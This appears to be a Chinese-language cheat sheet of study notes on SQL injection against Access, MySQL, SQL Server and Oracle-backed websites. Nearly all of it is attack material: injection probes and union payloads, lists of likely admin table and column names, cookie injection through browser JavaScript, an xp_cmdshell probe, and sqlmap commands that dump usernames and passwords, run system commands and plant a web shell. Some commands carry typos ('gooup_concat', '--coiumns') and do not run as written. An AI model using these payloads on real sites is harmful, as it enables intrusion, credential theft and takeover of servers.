php mysql注入方法:http://tieba.baidu.com/p/3723202169
http://www.cnblogs.com/Javame/p/3753060.html sqlmap命令大全
1:access注入 猜解表名 and exists (select * from admin)
猜解列名 and exists(select username from admin)
常用的表名 admin user news manage a_admin x_admin m_admin adminuser admin_user article_admin administrator manager member memberlist users Manage_User user_info admin_userinfo login new
常用的列名 username password id adminusername admin_username adminname admin_name admin adminuser admin_user user_name user_admin administrator administrators adminpassword admin_pwd adminpass userpass user_pass admin_passwod
sqlmap注入access sqlmap -u url sqlmap -u url --tables sqlmap -u url -T 数据库名称 --columns sqlmap -u url -T 数据库名称 -C user,password --dump
MySQL注入 1:判断是否存在注入:and 1=1 and 1=2
2:查询当前页面所链接的数据库列名(前面要报错) order by
操作系统版本查询 @@version_compile_os 版本查询version() 查询当前页面所链接的数据库名字database() 数据库用户名字user() 3:查询表名 1,gooup_concat(table_name)3,4,5,6,...... from information_schema.tables where table_schema=database(转换16进制)
查列名1,gooup_concat(column_name)3,4,5,6,...... from information_schema.columns where table_name=表名(转换16进制)
4:查询数据:url union select1,2,3........from admin
MySQL注入的sqlmap注入: 1:sqlmap.py -u "注入点"
2:sqlmap.py -u "注入点" --dbs(查数据库)
3:sqlmap.py -u "注入点" -D(指定表名)某表名 --tables (-T是指定数据名)
4:sqlmap.py -u "注入点" -D(指定表名) 某表名 -T admin C “username,password” --dump(爆数据)
cookie注入和post注入 网站传递参数的方式: 1:get形式 一般访问网页行为 2:cookie形式 伴随着所有访问网页的行为 3:post形式 上传文件,登陆
cookie形式注入原理就是对get传递来的参数进行了过滤,但是武略了cookie也可以传递参数
如何判断cookie注入(传输错如网页拦截之类的) 去掉id=xx 查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。 清空浏览器地址栏,输入Javascript:alert(document.cookie="id"=escape("id参数")) 按回车键后弹出一个对话框,内容是id=xx , 然后用原来的URL刷新页面,如果显示正常,说明应用是request("id")这种方式获取数据的
然后重复上面的步骤,讲常规的sql注入语句带入到上面的URL:Javascript:alert(document.cookie="id=" escape("xx and 1=1")) Javascript:alert(document.cookie="id=" escape("xx and 1=2"))
和常规sql注入一样,如果分别返回正常是不正常,则说明存在注入漏洞,并且可以cookie注入
使用常规注入即可
用sqlmap进行cookie注入
sqlmap.py -u 注入点URL --cookie "id=xx" --level 3
sqlmap.py -u url --cookie "id=xx" --level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx" --level 3 -T 表名 -C username,password --dump
post注入
判断post注入 ';exec master..xp_cmdshell'iisreset';
sqlmap的三种注入post注入方法 1:自动填写表单: sqlmap.py -u URL --forms 直接一路回车 sql server 数据库类似于MySQL sqlmap.py -u URL --forms --dbs(数据库) 注意:遇到数据库非常多,而且我们不知道管理账号密码存放在那个数据库中,我们该怎么办?如下: sqlmap.py -u URL --forms --current-db(找当前数据库) 找表名:sqlmap.py -u URL --forms -D 数据库名称 --tables(猜解他数据库下的表名) 找列名:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns 爆数据:sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -C username,password --dump 2:sqlmap结合burpsuite注入 抓包 sqlmap检测:sqlmap.py -r burpsuite抓包.txt 3:指定表单注入 burpsuite截包 sqlmap.py -u URL --data “username=a&password=a”
4:oracle注入
sqlmap交互式
交互式执行cmd命令:sqlmap.py -u URL --os-cmd=命令
交互式写入shell:sqlmap.py -u URL --os-shell 里面也可以执行cmd命令 在根目录下生成两个文件:tmpbxbxz.php 和tmpuoiuz.php
交互式执行sql命令:sqlmap.py -u URL --sql-shell 执行命令sql命令getshell
伪静态的注入: sqlmap -u URL --dbs
延时注入: sqlmap.py -u URL --technique -T --current-user
数字型,字符型,搜索型注入 数字型:select*from admin where id=id 字符型:select*from admin where uid='uid' 搜索性:select*from admin where pid like'%
注入方法:闭合注入, 字符型 闭合注入手法:'and'1'='1 形成的SQL语句:select*from admin where uid='xx'and'1'='1' select*from admin where uid='xx'and'1'='2' 注入方法 '语句 and'1'='1
搜索型 注入方法:%'and'%1%'=%1 %'语句 and'%1%'=%1
注释法 直接 order by 报错 注释order by 1-- --(2个斜杠是php注释的意思)